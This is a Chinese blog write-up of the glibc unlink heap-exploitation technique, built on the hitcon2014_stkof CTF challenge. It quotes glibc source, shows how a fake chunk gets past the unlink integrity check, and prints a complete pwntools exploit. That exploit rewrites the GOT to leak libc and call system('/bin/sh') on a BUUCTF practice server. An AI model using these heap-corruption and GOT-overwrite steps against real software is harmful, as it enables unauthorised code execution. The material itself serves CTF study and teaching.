WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

Unlink

unlink是完成堆题的一种技巧

打buuctf的时候正好碰到了题目学习后来记一下

0x01 源码入手

据说老版的unlink和新版的unlink有不同

老版的unlink是没有检测的

碰到的题目是2.23的libc看了下源码好像是有检测的,不知道老版是啥时候的了

先来看看_int_free函数中的部分代码,前面的就先不看了,看着累..技术不够也不能完全看懂

1
2
3
4
5
6
if (!prev_inuse(p)) {								//判断当前堆块的inuse位,如为0则进入
prevsize = p->prev_size;
size += prevsize; //当前堆块的size加上前一个堆块的size
p = chunk_at_offset(p, -((long) prevsize)); //将指向当前堆块的指针指向上一个被释放的堆块
unlink(av, p, bck, fwd); //进行unlink操作
}

如果上一个堆块是被释放的则进入unlink让2个堆块合并

再来看看unlink

1
2
3
4
5
6
7
8
9
10
11
#define unlink(AV, P, BK, FD) {                                            \          //这里的P为上一个堆块
FD = P->fd; \ //FD的值为P->fd
BK = P->bk; \ //BK的值为P->bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ //FD设为堆索引表-0x10的值,BK设为堆索引表-0x18的值
else { \
FD->bk = BK; \ //FD+0x10的值改为P->bk
BK->fd = FD; \ //BK+0x18的值改为P->fd
............. //下面的用不到就先不看了
} \
}

一般堆题都有堆块索引表,在bss段里面,所有申请出来的堆块指针存入索引表中

(因为堆题做得少不敢说全部都有..)

unlink可以实现任意写的漏洞,通过修改堆块索引表GetShell

下面来看道题目理解下

0x02 hitcon2014_stkof

其实网上很多unlink相关的文章都是用这道题的,不过写一篇加深下印象也挺好

先来看主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
int v5; // [rsp+Ch] [rbp-74h]
char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v7; // [rsp+78h] [rbp-8h]

v7 = __readfsqword(0x28u);
while ( fgets(nptr, 10, stdin) )
{
v3 = atoi(nptr);
if ( v3 == 2 )
{
v5 = edit();
goto LABEL_14;
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
v5 = e();
goto LABEL_14;
}
if ( v3 == 4 )
{
v5 = output();
goto LABEL_14;
}
}
else if ( v3 == 1 )
{
v5 = add();
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}

这道题因为没有菜单函数看着还是有点难受的,进去读了函数功能可以知道

编号 功能 参数 返回值
1 create size 成功返回申请的是第几个堆块和OK,失败FAIL
2 edit index, size, content 成功OK,失败FAIL
3 free index 成功OK,失败FAIL

4功能无用,不能输出堆块中的内容所以就不看了

各功能就不详细进去看了,因为没有什么特别的地方,edit存在堆溢出,可以指定size溢出到下一个堆块

在bss的0x602100记载了堆块的数量

0x602140为堆块的索引表

直接来动态看看吧

先申请0x100,0x30,0x80三块堆

分配0x100好像是因为这题没有setbuf,所以要申请一个大堆块避免被映影响,详细不是很清楚以后学到了再写吧

主要关注0x30和0x80,堆索引表在0x602140,可以到申请的几个堆块

接下来要在0x30的堆块中构造fake chunk来绕过unlink检测

这里直接贴被修改后的堆块再来解释

0x2c0c540就是构造的fake chunk

结合上面的代码看需要绕过

1
if (!prev_inuse(p))

所以被释放的堆块inuse位要修改为0,也就是0x90

下面是bk和fd

0x2c0c570是prevsize,用来表示上一个堆块的大小

1
2
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));

在这里用到

这时候的p为0x2c0c540,进入unlink

unlink有四个参数,AV用不到可以不管

另外的就是p还有fd和bk

1
2
3
4
5
6
7
8
9
#define unlink(AV, P, BK, FD) {                                            \ 
FD = P->fd; \
//P->fd存入FD 根据上图此时FD=0x0000000000602138 FD=*(P+0x10)
BK = P->bk; \
//P->bk存入BK BK=0x0000000000602140 BK=*(P+0x18)
//需要绕过该判断,绕过判断需要FD->bk==P&&BK->fd==P P=0x2c0c540
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ \
}

来看看索引表

来计算下

FD->bk = *(0x602138+0x18) = 0x2c0c540

BK->fd = *(0x602140+0x10) = 0x2c0c540

这样就绕过判断走到下面了

1
2
3
4
5
6
7
else {								      \
//FD=0x0000000000602138
//BK=0x0000000000602140
FD->bk = BK; //将FD->bk位置的值改为0x602140,FD->bk=0x602138+0x18=0x602150 *(0x602150)=0x602140
BK->fd = FD; //将BK->fd位置的值改为0x602138,BK->fd=0x602140+0x10=0x602150 *(0x602150)=0x602138
.............
}

最后0x602150的就指向了0x602138,修改了堆块索引表

到这步就很简单了

接下来只要修改第二个堆块就会找到0x0000000000602138

将索引里面的地址改为got泄露出libc地址后再将atoi的got表修改为system

在输入编号的时候输入/bin/sh就完成了

1
2
3
payload = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])

edit(2, len(payload), payload)

先将索引堆块改为这样,加个0是因为索引表是0x602140开始的,但是写的是0x602138开始的

修改后的索引表是这样的

1
2
3
payload = p64(puts_plt)

edit(0,len(payload),payload)

将索引0的位置改为puts@plt,这里本来是free函数

这样调用free就相当于调用了puts

再释放索引1位置也就是打印puts@got得到libc中puts函数的地址

得到基址算出system函数的地址覆盖到索引2上也就是atoi@got

得到libc里/bin/sh的指针

在atoi接收参数的时候输入/bin/sh的指针就相当于system(“/bin/sh”)了

最后GetShell

贴一下完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from LibcSearcher import *

context(os="linux", arch="amd64", log_level="debug")
pwnfile = "./stkof"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 29286
io = remote(host, port)

def create(size):
io.sendline(str(1))
io.sendline(str(size))
io.recvuntil("OK\n")
# sleep(1)

def edit(index, size, content):
io.sendline(str(2))
io.sendline(str(index))
io.sendline(str(size))
io.send(content)
io.recvuntil("OK\n")

sleep(1)
#b *0x4009E8

def delete(index):
io.sendline(str(3))
io.sendline(str(index))
# io.recvuntil("OK")
sleep(1)
#b *0x400B07



heap_array = 0x602140
puts_plt = 0x400760

create(0x100)
create(0x30)
create(0x80)

# gdb.attach(io, "b *0x400b06")
# pause()

payload = p64(0) #prev_size
payload += p64(0x30) #size
payload += p64(heap_array + 16 - 0x18) #fd
payload += p64(heap_array + 16 - 0x10) #bk
payload = payload.ljust(0x30, '\x00')
payload += p64(0x30)
payload += p64(0x90)

edit(2, len(payload), payload)

delete(3)

payload = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])

edit(2, len(payload), payload)

payload = p64(puts_plt)

# gdb.attach(io, "b *0x400b06")
# pause()
edit(0,len(payload),payload)

delete(1)
puts_addr = u64(io.recv()[3:9].ljust(8,'\x00'))
log.success(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
base = puts_addr - libc.dump('puts')

log.success(hex(base))
# gdb.attach(io, "b *0x4009E8")
# pause()

system_addr = base + libc.dump('system')
bin_sh_addr = base + libc.dump('str_bin_sh')

payload = p64(system_addr)
edit(2,len(payload),payload)
io.send(p64(bin_sh_addr))


io.interactive()